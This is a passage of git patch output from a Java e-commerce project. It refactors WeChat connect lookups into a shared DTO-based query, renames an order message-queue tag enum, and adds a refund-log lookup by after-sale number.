b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -21,14 +21,12 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.connect.config.ConnectAuthEnum; import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.dto.ConnectAuthUser; +import cn.lili.modules.connect.entity.enums.ConnectEnum; import cn.lili.modules.connect.service.ConnectService; import cn.lili.common.utils.UuidUtils; import cn.lili.modules.member.aop.annotation.PointLogPoint; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.dto.ManagerMemberEditDTO; -import cn.lili.modules.member.entity.dto.MemberAddDTO; -import cn.lili.modules.member.entity.dto.MemberEditDTO; -import cn.lili.modules.member.entity.dto.MemberPointMessage; +import cn.lili.modules.member.entity.dto.*; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.entity.vo.MemberDistributionVO; import cn.lili.modules.member.entity.vo.MemberSearchVO; @@ -469,10 +467,9 @@ public class MemberServiceImpl extends ServiceImpl impleme * @param type 状态 */ private void loginBindUser(Member member, String unionId, String type) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Connect::getUnionId, unionId); - queryWrapper.eq(Connect::getUnionType, type); - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().unionId(unionId).unionType(type).build() + ); if (connect == null) { connect = new Connect(member.getId(), unionId, type); connectService.save(connect); @@ -496,11 +493,9 @@ public class MemberServiceImpl extends ServiceImpl impleme if (connectAuthUser == null) { return; } - //检测是否已经绑定过用户 - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Connect::getUnionId, connectAuthUser.getUuid()); - queryWrapper.eq(Connect::getUnionType, connectType); - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().unionId(connectAuthUser.getUuid()).unionType(connectType).build() + ); if (connect == null) { connect = new Connect(member.getId(), connectAuthUser.getUuid(), connectType); connectService.save(connect); @@ -543,9 +538,9 @@ public class MemberServiceImpl extends ServiceImpl impleme } //检测是否已经绑定过用户 LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Connect::getUnionId, connectAuthUser.getUuid()); - queryWrapper.eq(Connect::getUnionType, connectType); - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().unionType(connectType).unionId(connectAuthUser.getUuid()).build() + ); //没有关联则返回true,表示可以继续绑定 if (connect == null) { connectAuthUser.setConnectEnum(authInterface); diff --git a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java b/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java index 553ef7ba..43cfba6f 100644 --- a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java +++ b/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java @@ -11,6 +11,7 @@ import cn.lili.common.enums.ClientTypeEnum; import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.enums.ConnectEnum; import cn.lili.modules.connect.service.ConnectService; +import cn.lili.modules.member.entity.dto.ConnectQueryDTO; import cn.lili.modules.message.entity.dos.WechatMPMessage; import cn.lili.modules.message.entity.dos.WechatMessage; import cn.lili.modules.message.entity.enums.WechatMessageItemEnums; @@ -87,11 +88,9 @@ public class WechatMessageUtil { return; } - QueryWrapper queryWrapper = new QueryWrapper(); - queryWrapper.eq("user_id", order.getMemberId()); - queryWrapper.eq("union_type", ConnectEnum.WECHAT.name()); - - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().userId(order.getMemberId()).unionType(ConnectEnum.WECHAT.name()).build() + ); if (connect == null) { return; } @@ -147,11 +146,9 @@ public class WechatMessageUtil { return; } - QueryWrapper queryWrapper = new QueryWrapper(); - queryWrapper.eq("user_id", order.getMemberId()); - queryWrapper.eq("union_type", ConnectEnum.WECHAT_MP_OPEN_ID.name()); - - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().userId(order.getMemberId()).unionType(ConnectEnum.WECHAT_MP_OPEN_ID.name()).build() + ); if (connect == null) { return; } diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java index be768841..6a2ce8b6 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java @@ -20,6 +20,7 @@ import cn.lili.common.enums.ClientTypeEnum; import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.enums.ConnectEnum; import cn.lili.modules.connect.service.ConnectService; +import cn.lili.modules.member.entity.dto.ConnectQueryDTO; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.payment.entity.RefundLog; import cn.lili.modules.payment.kit.CashierSupport; @@ -166,10 +167,9 @@ public class WechatPlugin implements Payment { public ResultMessage jsApiPay(HttpServletRequest request, PayParam payParam) { try { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Connect::getUserId, UserContext.getCurrentUser().getId()) - .eq(Connect::getUnionType, ConnectEnum.WECHAT.name()); - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().userId(UserContext.getCurrentUser().getId()).unionType(ConnectEnum.WECHAT.name()).build() + ); if (connect == null) { return null; } @@ -359,10 +359,9 @@ public class WechatPlugin implements Payment { public ResultMessage mpPay(HttpServletRequest request, PayParam payParam) { try { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Connect::getUserId, UserContext.getCurrentUser().getId()) - .eq(Connect::getUnionType, ConnectEnum.WECHAT_MP_OPEN_ID.name()); - Connect connect = connectService.getOne(queryWrapper); + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().userId(UserContext.getCurrentUser().getId()).unionType(ConnectEnum.WECHAT_MP_OPEN_ID.name()).build() + ); if (connect == null) { return null; } From af52a68abc5695d8c6ae2fcd21ba921bc15998ca Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 1 Dec 2021 15:49:28 +0800 Subject: [PATCH 030/145] =?UTF-8?q?mq=E8=AE=A2=E9=98=85=E6=A0=87=E7=AD=BE?= =?UTF-8?q?=E8=A7=84=E8=8C=83=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/main/java/cn/lili/event/impl/FullDiscountExecute.java | 4 ++-- .../src/main/java/cn/lili/listener/OrderMessageListener.java | 4 ++-- .../modules/order/order/serviceimpl/OrderServiceImpl.java | 4 ++-- .../modules/order/order/serviceimpl/TradeServiceImpl.java | 2 +- .../tags/{MqOrderTagsEnum.java => OrderTagsEnum.java} | 4 ++-- .../test/java/cn/lili/test/rocketmq/MsgExtRocketMqTest.java | 4 ++-- 6 files changed, 11 insertions(+), 11 deletions(-) rename framework/src/main/java/cn/lili/rocketmq/tags/{MqOrderTagsEnum.java => OrderTagsEnum.java} (85%) diff --git a/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java b/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java index fadf757a..ca7b1385 100644 --- a/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java @@ -26,7 +26,7 @@ import cn.lili.modules.order.trade.entity.dos.OrderLog; import cn.lili.modules.order.trade.service.OrderLogService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; -import cn.lili.rocketmq.tags.MqOrderTagsEnum; +import cn.lili.rocketmq.tags.OrderTagsEnum; import lombok.extern.slf4j.Slf4j; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; @@ -190,7 +190,7 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { orderMessage.setPaymentMethod(order.getPaymentMethod()); orderMessage.setNewStatus(OrderStatusEnum.PAID); - String destination = rocketmqCustomProperties.getOrderTopic() + ":" + MqOrderTagsEnum.STATUS_CHANGE.name(); + String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.STATUS_CHANGE.name(); //发送订单变更mq消息 rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(orderMessage), RocketmqSendCallbackBuilder.commonCallback()); diff --git a/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java b/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java index 6c32fc44..513d03d1 100644 --- a/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java @@ -2,7 +2,7 @@ package cn.lili.listener; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; -import cn.lili.rocketmq.tags.MqOrderTagsEnum; +import cn.lili.rocketmq.tags.OrderTagsEnum; import cn.lili.event.OrderStatusChangeEvent; import cn.lili.event.TradeEvent; import cn.lili.modules.order.cart.entity.dto.TradeDTO; @@ -58,7 +58,7 @@ public class OrderMessageListener implements RocketMQListener { */ public void orderStatusEvent(MessageExt messageExt) { - switch (MqOrderTagsEnum.valueOf(messageExt.getTags())) { + switch (OrderTagsEnum.valueOf(messageExt.getTags())) { //订单创建 case ORDER_CREATE: String key = new String(messageExt.getBody()); diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 09f1a64d..b3152cc2 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -50,7 +50,7 @@ import cn.lili.common.security.OperationalJudgment; import cn.lili.mybatis.util.PageUtil; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.GoodsTagsEnum; -import cn.lili.rocketmq.tags.MqOrderTagsEnum; +import cn.lili.rocketmq.tags.OrderTagsEnum; import cn.lili.trigger.enums.DelayTypeEnums; import cn.lili.trigger.interfaces.TimeTrigger; import cn.lili.trigger.message.PintuanOrderMessage; @@ -461,7 +461,7 @@ public class OrderServiceImpl extends ServiceImpl implements @Override public void sendUpdateStatusMessage(OrderMessage orderMessage) { - String destination = rocketmqCustomProperties.getOrderTopic() + ":" + MqOrderTagsEnum.STATUS_CHANGE.name(); + String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.STATUS_CHANGE.name(); //发送订单变更mq消息 rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(orderMessage), RocketmqSendCallbackBuilder.commonCallback()); } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java index 3a74708e..342a36ed 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java @@ -1 +1 @@ -package cn.lili.modules.order.order.serviceimpl; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.MqOrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @date 2020/11/17 7:39 下午 */ @Service @Transactional(rollbackFor = Exception.class) public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, tradeDTO); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + MqOrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } /** * 订单配送区域校验 */ if (tradeDTO.getNotSupportFreight() != null && tradeDTO.getNotSupportFreight().size() > 0) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> { stringBuilder.append(sku.getGoodsSku().getGoodsName()); }); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file +package cn.lili.modules.order.order.serviceimpl; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @date 2020/11/17 7:39 下午 */ @Service @Transactional(rollbackFor = Exception.class) public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, tradeDTO); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } /** * 订单配送区域校验 */ if (tradeDTO.getNotSupportFreight() != null && tradeDTO.getNotSupportFreight().size() > 0) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> { stringBuilder.append(sku.getGoodsSku().getGoodsName()); }); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/rocketmq/tags/MqOrderTagsEnum.java b/framework/src/main/java/cn/lili/rocketmq/tags/OrderTagsEnum.java similarity index 85% rename from framework/src/main/java/cn/lili/rocketmq/tags/MqOrderTagsEnum.java rename to framework/src/main/java/cn/lili/rocketmq/tags/OrderTagsEnum.java index cfe9ba87..20363e3d 100644 --- a/framework/src/main/java/cn/lili/rocketmq/tags/MqOrderTagsEnum.java +++ b/framework/src/main/java/cn/lili/rocketmq/tags/OrderTagsEnum.java @@ -6,7 +6,7 @@ package cn.lili.rocketmq.tags; * @author paulG * @since 2020/12/9 **/ -public enum MqOrderTagsEnum { +public enum OrderTagsEnum { /** * 订单创建 @@ -20,7 +20,7 @@ public enum MqOrderTagsEnum { private final String description; - MqOrderTagsEnum(String description) { + OrderTagsEnum(String description) { this.description = description; } diff --git a/manager-api/src/test/java/cn/lili/test/rocketmq/MsgExtRocketMqTest.java b/manager-api/src/test/java/cn/lili/test/rocketmq/MsgExtRocketMqTest.java index 6096dd97..acdca18f 100644 --- a/manager-api/src/test/java/cn/lili/test/rocketmq/MsgExtRocketMqTest.java +++ b/manager-api/src/test/java/cn/lili/test/rocketmq/MsgExtRocketMqTest.java @@ -1,7 +1,7 @@ package cn.lili.test.rocketmq; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; -import cn.lili.rocketmq.tags.MqOrderTagsEnum; +import cn.lili.rocketmq.tags.OrderTagsEnum; import cn.lili.common.properties.RocketmqCustomProperties; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.junit.jupiter.api.Assertions; @@ -29,7 +29,7 @@ class MsgExtRocketMqTest { @Test void searchAll() { - String destination = rocketmqCustomProperties.getOrderTopic() + ":" + MqOrderTagsEnum.STATUS_CHANGE.name(); + String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.STATUS_CHANGE.name(); Message message = MessageBuilder.withPayload("Context").build(); rocketMQTemplate.asyncSend(destination, message, RocketmqSendCallbackBuilder.commonCallback()); rocketMQTemplate.send(destination, message); From 613a808cec7b19586df26bf6fd432e06b382c6c7 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 2 Dec 2021 14:42:46 +0800 Subject: [PATCH 031/145] =?UTF-8?q?=E5=BA=97=E9=93=BA=E6=B5=81=E6=B0=B4?= =?UTF-8?q?=E8=B0=83=E7=94=A8=E5=94=AE=E5=90=8E=E6=A8=A1=E5=9D=97=E7=9B=B4?= =?UTF-8?q?=E6=8E=A5=E8=88=B9=E6=B8=A1wrapper=E8=B0=83=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/order/serviceimpl/StoreFlowServiceImpl.java | 2 +- .../cn/lili/modules/payment/service/RefundLogService.java | 6 ++++++ .../modules/payment/serviceimpl/RefundLogServiceImpl.java | 8 +++++--- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index 26f5ebde..70fdbeec 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -160,7 +160,7 @@ public class StoreFlowServiceImpl extends ServiceImpl().eq(RefundLog::getAfterSaleNo, afterSale.getSn())); + RefundLog refundLog = refundLogService.queryByAfterSaleSn(afterSale.getSn()); storeFlow.setTransactionId(refundLog.getReceivableNo()); storeFlow.setPaymentName(refundLog.getPaymentName()); this.save(storeFlow); diff --git a/framework/src/main/java/cn/lili/modules/payment/service/RefundLogService.java b/framework/src/main/java/cn/lili/modules/payment/service/RefundLogService.java index f4d56b64..dc505a10 100644 --- a/framework/src/main/java/cn/lili/modules/payment/service/RefundLogService.java +++ b/framework/src/main/java/cn/lili/modules/payment/service/RefundLogService.java @@ -10,4 +10,10 @@ import com.baomidou.mybatisplus.extension.service.IService; * @since 2020-12-19 09:25 */ public interface RefundLogService extends IService { + /** + * 根据售后sn查询退款日志 + * @param sn + * @return + */ + RefundLog queryByAfterSaleSn(String sn); } diff --git a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java index 8a5e7d8c..6efc4f87 100644 --- a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/RefundLogServiceImpl.java @@ -3,9 +3,8 @@ package cn.lili.modules.payment.serviceimpl; import cn.lili.modules.payment.entity.RefundLog; import cn.lili.modules.payment.mapper.RefundLogMapper; import cn.lili.modules.payment.service.RefundLogService; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import lombok.RequiredArgsConstructor; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -19,5 +18,8 @@ import org.springframework.transaction.annotation.Transactional; @Transactional(rollbackFor = Exception.class) public class RefundLogServiceImpl extends ServiceImpl implements RefundLogService { - + @Override + public RefundLog queryByAfterSaleSn(String sn) { + return this.getOne(new LambdaUpdateWrapper().eq(RefundLog::getAfterSaleNo, sn)); + } } \ No newline at end of file From 2241e90798a8a236f2c942b0652c744886e712b5 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 2 Dec 2021 17:05:58 +0800 Subject: [PATCH 032/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E6=97=A0=E6=95=88?= =?UTF-8?q?=E7=9A=84=E6=B3=A8=E8=A7=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java | 2 -- 1 file changed, 2 deletions(-) diff --git 